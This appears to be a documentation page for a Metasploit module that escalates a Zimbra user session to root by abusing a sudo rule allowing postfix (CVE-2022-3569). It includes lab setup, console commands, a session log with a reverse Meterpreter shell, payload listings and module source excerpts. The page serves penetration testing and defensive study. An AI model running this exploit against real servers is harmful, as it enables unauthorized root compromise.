Zimbra sudo + postfix privilege escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/zimbra_postfix_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zimbra sudo + postfix privilege escalation
Module: exploit/linux/local/zimbra_postfix_priv_esc
Source code: modules/exploits/linux/local/zimbra_postfix_priv_esc.rb
Disclosure date: 2022-10-13
Last modification time: 2022-10-17 15:00:56 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-3569
This module exploits a vulnerable sudo configuration that permits the zimbra user to execute postfix as root. In turn, postfix can execute arbitrary shellscripts, which means it can execute a root shell.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/zimbra_postfix_priv_esc
msf exploit(zimbra_postfix_priv_esc) > show targets
... a list of targets ...
msf exploit(zimbra_postfix_priv_esc) > set TARGET target-id
msf exploit(zimbra_postfix_priv_esc) > show options
... show and set options ...
msf exploit(zimbra_postfix_priv_esc) > set SESSION session-id
msf exploit(zimbra_postfix_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
Currently, as of 2022-10-14, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I reported it to Zimbra.
Install Zimbra
My steps to install Zimbra (adapted from Christophe):
Create a VM with the following specs:
HDD = 128gb
Memory/etc don't matter
Install a local DNS server (note: replace <ip> with the host's actual ip)
(other note: replace apt with yum to do this on a Red Hat-derived system):
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
Configure the host to use it:
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq # Seems to be required for Red Hat OSes
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
Download Zimbra from https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll have to sell your soul and opt-in to spam, but they don't validate your email.
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh
* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
Verification Steps
Get a Meterpreter session on the Zimbra server as the zimbra user - I used
exploit/linux/http/zimbra_cpio_cve_2022_41352 but just running a Meterpreter
binary is also fine. To become vulnerable to cve-2022-41352, just rm $(which pax)
then reboot.
From there,
You can obviously get a shell however you like. :)
Then:
- Do:
use exploit/linux/local/zimbra_postfix_priv_esc - Do:
set SESSION 1 - Do:
set RHOSTS <target> - Do:
set LHOST <listenerip> - Do:
exploit
Options
SUDO_PATH
The path to sudo on the host. If we have a proper environment with $PATH
set, which we generally do, simply sudo is fine.
ZIMBRA_BASE
The base where Zimbra is installed. Zimbra typically installs to /opt/zimbra,
and I'm not even sure if it can install elsewhere, so this default should be
fine.
WritableDir
A directory where we can write the payload - by default, /tmp.
PayloadFilename
A specific filename to use as the payload, within WritableDir. By default,
it's randomized (with a . in front)
Scenarios
Escalating a zimbra session to root, after exploiting cve-2022-41352
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux zimbra @ mail.example.org 172.16.166.147:4444 -> 172.16.166.157:47210 (172.16.166.157)
msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit
[*] Started reverse TCP handler on 172.16.166.147:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (3045348 bytes) to 172.16.166.157
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.GPjXSraCDY
[*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.GPjXSraCDY/.qjSY8
[*] Sending stage (3045348 bytes) to 172.16.166.157
[+] Deleted /tmp/.GPjXSraCDY
[*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14 13:19:25 -0700
meterpreter > getuid
Server username: root
Go back to menu.
Msfconsole Usage
Here is how the linux/local/zimbra_postfix_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/zimbra_postfix_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show info
Name: Zimbra sudo + postfix privilege escalation
Module: exploit/linux/local/zimbra_postfix_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-10-13
Provided by:
EvergreenCartoons
Ron Bowes
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SUDO_PATH sudo yes Path to sudo executable
ZIMBRA_BASE /opt/zimbra yes Zimbra's installation directory
Payload information:
Description:
This module exploits a vulnerable sudo configuration that permits
the zimbra user to execute postfix as root. In turn, postfix can
execute arbitrary shellscripts, which means it can execute a root
shell.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-3569
https://twitter.com/ldsopreload/status/1580539318879547392
Module Options
This is a complete list of options available in the linux/local/zimbra_postfix_priv_esc exploit:
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show options
Module options (exploit/linux/local/zimbra_postfix_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SUDO_PATH sudo yes Path to sudo executable
ZIMBRA_BASE /opt/zimbra yes Zimbra's installation directory
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/zimbra_postfix_priv_esc exploit:
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show advanced
Module advanced options (exploit/linux/local/zimbra_postfix_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
PayloadFilename no The name to use for the executable (default: ".<random>"
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Use a debug version of Meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
preter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork false no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
T
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/zimbra_postfix_priv_esc module can exploit:
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/zimbra_postfix_priv_esc exploit:
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x64/exec normal No Linux Execute Command
7 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
8 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
9 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
10 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
11 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
12 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
13 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
14 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
15 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
16 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
17 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
18 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
19 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
20 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/x86/adduser normal No Linux Add User
22 payload/linux/x86/chmod normal No Linux Chmod
23 payload/linux/x86/exec normal No Linux Execute Command
24 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
27 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
28 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
29 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
30 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
33 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
34 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
35 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
36 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
37 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
38 payload/linux/x86/read_file normal No Linux Read File
39 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
42 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
43 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
44 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
45 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
48 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
49 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
50 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
51 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
52 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/zimbra_postfix_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/zimbra_postfix_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Session already has root privileges
- postfix executable not detected: <ZIMBRA_BASE>/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)
- Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)
- Current user could not execute sudo -l
- Current user does not have access to run postfix
- <BASE_DIR> is not writable
- Failed to create session! Cmd output = <OUT>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
60: # Because this isn't patched, I can't say with 100% certainty that this will
61: # detect a future patch (it depends on how they patch it)
62: def check
63: # Sanity check
64: if is_root?
65: fail_with(Failure::None, 'Session already has root privileges')
66: end
67:
68: unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
69: print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
70: return CheckCode::Safe
postfix executable not detected: <ZIMBRA_BASE>/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)
Here is a relevant code snippet related to the "postfix executable not detected: <ZIMBRA_BASE>/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)" error message:
64: if is_root?
65: fail_with(Failure::None, 'Session already has root privileges')
66: end
67:
68: unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
69: print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
70: return CheckCode::Safe
71: end
72:
73: unless command_exists?(datastore['SUDO_PATH'])
74: print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)
Here is a relevant code snippet related to the "Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)" error message:
69: print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
70: return CheckCode::Safe
71: end
72:
73: unless command_exists?(datastore['SUDO_PATH'])
74: print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
75: return CheckCode::Safe
76: end
77:
78: # Run `sudo -n -l` to make sure we have access to the target command
79: cmd = "#{datastore['SUDO_PATH']} -n -l"
Current user could not execute sudo -l
Here is a relevant code snippet related to the "Current user could not execute sudo -l" error message:
79: cmd = "#{datastore['SUDO_PATH']} -n -l"
80: print_status "Executing: #{cmd}"
81: output = cmd_exec(cmd).to_s
82:
83: if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
84: print_error('Current user could not execute sudo -l')
85: return CheckCode::Safe
86: end
87:
88: if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
89: print_error('Current user does not have access to run postfix')
Current user does not have access to run postfix
Here is a relevant code snippet related to the "Current user does not have access to run postfix" error message:
84: print_error('Current user could not execute sudo -l')
85: return CheckCode::Safe
86: end
87:
88: if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
89: print_error('Current user does not have access to run postfix')
90: return CheckCode::Safe
91: end
92:
93: CheckCode::Appears
94: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
94: end
95:
96: def exploit
97: base_dir = datastore['WritableDir'].to_s
98: unless writable?(base_dir)
99: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
100: end
101:
102: # Generate some filenames
103: payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")
104: upload_and_chmodx(payload_path, generate_payload_exe)
Failed to create session! Cmd output = <OUT>
Here is a relevant code snippet related to the "Failed to create session! Cmd output = <OUT>" error message:
105: register_file_for_cleanup(payload_path)
106:
107: cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"
108: print_status "Attempting to trigger payload: #{cmd}"
109: out = cmd_exec(cmd)
110:
111: unless session_created?
112: print_error("Failed to create session! Cmd output = #{out}")
113: end
114: end
115: end
Go back to menu.
Related Pull Requests
- #17225 Merged Pull Request: Update YARD documentation to use proper @return instead of @returns
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- #17196 Merged Pull Request: Msf::Post::Windows: Add Msf::Post::Windows::System mixin
- #17192 Merged Pull Request: Password Manager Pro password recovery post module
- #17213 Merged Pull Request: Update identify hash library and call
- #17207 Merged Pull Request: Add msfvenom / msfconsole support for Rust shellcode
- #17190 Merged Pull Request: Fix the Netapi32 bufptr data type
- #17174 Merged Pull Request: FLIR AX8 thermal camera unauthenticated RCE [CVE-2022-37061]
- #17142 Merged Pull Request: Apache CouchDB Erlang RCE module CVE-2022-24706
- #17168 Merged Pull Request: Add module for Webmin auth File Manager RCE (CVE-2022-0824)
References
See Also
Check also the following modules related to this module:
- exploit/linux/local/zimbra_slapper_priv_esc
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/http/zimbra_xxe_rce
- exploit/unix/webapp/zimbra_lfi
- exploit/linux/misc/gld_postfix
Authors
- EvergreenCartoons
- Ron Bowes
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
